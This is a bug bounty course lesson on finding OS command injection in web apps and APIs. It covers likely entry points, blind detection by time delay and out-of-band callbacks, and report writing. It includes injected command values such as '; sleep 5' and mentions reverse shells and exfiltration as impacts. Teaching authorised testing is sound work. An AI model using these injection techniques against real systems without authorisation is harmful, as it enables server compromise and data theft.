BB Day 14: Command Injection Bug Bounty 2026 — Find OS Injection in Web Apps & APIs That Pay

In Day 13 we used XXE injection to make servers fetch internal resources and leak files. Today we go further up the impact scale. Command injection does not just read files — it executes arbitrary operating system commands on the server. This is the vulnerability class that ends penetration tests early because there is simply nothing left to demonstrate after you have a shell. The 60-Day Bug Bounty Mastery Course covers it here because understanding RCE changes how you think about every other vulnerability.

What Is Command Injection Bug Bounty and Why It Pays Critical

Command injection occurs when an application passes user-controlled input to a system shell without proper sanitisation. The server calls a shell function — exec(), system(), popen(), or their equivalents — and your injected characters cause additional OS commands to execute alongside the intended operation. Unlike SQL injection, which talks to a database, command injection talks directly to the operating system.

The impact is severe by definition. With command injection you can read any file the web server process has access to, write files including web shells, establish reverse shell connections, enumerate internal network hosts, pivot to internal services, and exfiltrate data. Every major bug bounty platform classifies confirmed OS command injection on production infrastructure as Critical severity.

The reason command injection remains prevalent in 2026 is developer convenience. Calling a system utility with exec() is often faster to implement than using a language’s native library. Network diagnostic features, file processing tools, image converters, and PDF generators frequently use shell calls under the hood — and developers who build these features quickly rarely sanitise the input thoroughly.

Where to Find Command Injection Entry Points in Real Applications

The key to finding command injection efficiently is targeting features that are architecturally likely to involve OS calls. You are not testing random parameters — you are identifying specific application functionality that typically calls system utilities behind the scenes.

Network diagnostic features: Any “ping this host”, “traceroute”, “DNS lookup”, or “whois” functionality built into an application almost certainly calls the corresponding OS utility. These are the highest-yield targets for command injection and should be tested first on any application that has them.

File processing features: Image resizers, PDF generators, document converters, video thumbnail generators, and archive extractors frequently call OS utilities like ImageMagick, Ghostscript, FFmpeg, or unzip. Parameters controlling file format, quality, dimensions, or output path are injection candidates.

API endpoints accepting URLs or hostnames: Webhook validators, screenshot-as-a-service features, URL preview generators, and SSL certificate checkers often call curl, wget, or nslookup internally. Test any parameter that accepts a URL, hostname, or IP address.

Server-side monitoring and health features: Admin dashboards with server health checks, uptime monitors, and deployment tools are prime targets — they are admin-facing, frequently built quickly, and often call shell commands directly to check system status.

Detecting Blind Command Injection With Time Delays and Callbacks

The majority of command injection vulnerabilities in modern applications are blind — the server executes your command but returns no output in the HTTP response. The application might return its normal response, an error, or nothing at all. Without knowing the technique, you would miss these entirely. With it, they become some of the most satisfying findings in bug bounty.

Time-delay detection: Inject a command that causes a measurable pause in execution. The classic technique is ; sleep 5 on Linux or & timeout /T 5 on Windows. If the server’s response takes exactly 5 seconds longer than normal, your command executed. This is definitive proof even without visible output. Always test with a 5-second delay first, then confirm with a 10-second delay to eliminate network jitter.

Out-of-band (OOB) detection: OOB techniques cause the server to make an outbound DNS or HTTP request to a server you control, proving execution without relying on the response. Burp Suite Pro includes Collaborator for this purpose. The free alternative is interactsh from ProjectDiscovery — an open-source OOB interaction server you can run yourself or use via their public instance.

Command Injection Payloads — Testing All Five Operators Systematically

Different shell operators have different execution logic, and different applications use different parsing behaviour. Testing only semicolons is the most common mistake new hunters make — they miss half the vulnerabilities because the application blocks semicolons but not pipes. A systematic approach tests every operator every time.

Bypassing Blacklist Filters and WAF Rules in 2026

Modern applications and WAFs often blacklist obvious injection characters like semicolons and pipes. These filters are rarely complete, and there are reliable techniques to bypass them. Understanding bypass methods is what separates hunters who report findings from those who mark a parameter as “protected” and move on.

Remote Code Execution Bug Bounty — Writing the Report That Gets Paid

A confirmed command injection finding can be rejected or significantly downgraded if the report is poorly written. The difference between a $500 payout and a $15,000 payout is often the quality of the report — specifically how clearly you establish impact, provide reproducible proof, and communicate the business risk in terms programme managers understand.

Proof of Concept Requirements: Your PoC must include the exact HTTP request with the injection payload (use Burp’s “Copy as curl command” feature), the server response showing command output or the time delay, and a clear explanation of how you confirmed execution. For blind injection, include the Collaborator DNS interaction log as a screenshot with timestamps.

Safe PoC Commands Only: Never run destructive commands in a bug bounty PoC. The standard safe commands are id (shows current user), whoami, hostname, and uname -a. These prove execution without causing harm or accessing sensitive data unnecessarily. Never run rm, shutdown, or commands that modify files on production systems.

Impact Statement: Translate technical findings into business risk. “An attacker could execute arbitrary OS commands on the production server, potentially accessing all database credentials stored in environment variables, establishing persistent backdoor access, and pivoting to internal network services not exposed to the internet.” Programme managers respond to business language, not technical jargon alone.